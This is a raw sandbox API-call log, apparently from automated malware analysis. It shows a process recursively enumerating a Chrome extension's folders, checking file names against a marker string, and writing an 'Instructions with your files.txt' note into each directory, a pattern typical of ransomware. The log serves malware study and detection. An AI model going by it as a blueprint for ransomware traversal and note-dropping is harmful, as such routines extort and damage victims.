[0129.132] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.133] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\.") returned 143
[0129.133] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.133] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\..") returned 144
[0129.133] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.133] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\messages.json") returned 155
[0129.133] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.133] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.133] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\Instructions with your files.txt") returned 174
[0129.133] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.134] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.135] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.135] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.135] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.135] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.135] CloseHandle (hObject=0x134) returned 1
[0129.135] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.135] GetProcessHeap () returned 0x810000
[0129.135] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.135] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0129.135] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN") returned 144
[0129.135] GetProcessHeap () returned 0x810000
[0129.135] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.135] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*") returned 146
[0129.135] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\.") returned 146
[0129.136] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\..") returned 147
[0129.136] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\messages.json") returned 158
[0129.136] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.136] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.136] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 177
[0129.136] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.136] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.137] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.137] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.137] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.137] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.137] CloseHandle (hObject=0x134) returned 1
[0129.137] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.138] GetProcessHeap () returned 0x810000
[0129.138] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.138] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0129.138] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW") returned 144
[0129.138] GetProcessHeap () returned 0x810000
[0129.138] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.138] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*") returned 146
[0129.138] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\.") returned 146
[0129.139] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\..") returned 147
[0129.139] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\messages.json") returned 158
[0129.139] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.139] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xce, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.139] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 177
[0129.139] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_TW\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\zh_tw\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.139] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.140] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.140] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.140] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.140] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.141] CloseHandle (hObject=0x134) returned 1
[0129.141] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.141] GetProcessHeap () returned 0x810000
[0129.141] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.141] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 0
[0129.141] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\Instructions with your files.txt") returned 171
[0129.141] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130
[0129.141] WriteFile (in: hFile=0x130, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cda14*=0x54, lpOverlapped=0x0) returned 1
[0129.142] WriteFile (in: hFile=0x130, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cda14*=0x18, lpOverlapped=0x0) returned 1
[0129.142] WriteFile (in: hFile=0x130, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cda14*=0xc, lpOverlapped=0x0) returned 1
[0129.142] WriteFile (in: hFile=0x130, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cda14*=0x16, lpOverlapped=0x0) returned 1
[0129.142] WriteFile (in: hFile=0x130, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cda14, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cda14*=0x23, lpOverlapped=0x0) returned 1
[0129.142] CloseHandle (hObject=0x130) returned 1
[0129.143] FindClose (in: hFindFile=0x876eb8 | out: hFindFile=0x876eb8) returned 1
[0129.143] GetProcessHeap () returned 0x810000
[0129.143] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8dcc28 | out: hHeap=0x810000) returned 1
[0129.143] FindNextFileW (in: hFindFile=0x876e78, lpFindFileData=0x22cdcc4 | out: lpFindFileData=0x22cdcc4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
[0129.143] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata") returned 139
[0129.143] GetProcessHeap () returned 0x810000
[0129.143] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8dcc28
[0129.143] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*") returned 141
[0129.143] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\*", lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876eb8
[0129.144] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_metadata\\.") returned 141
[0129.144] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x867288b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8687f510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8687f510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
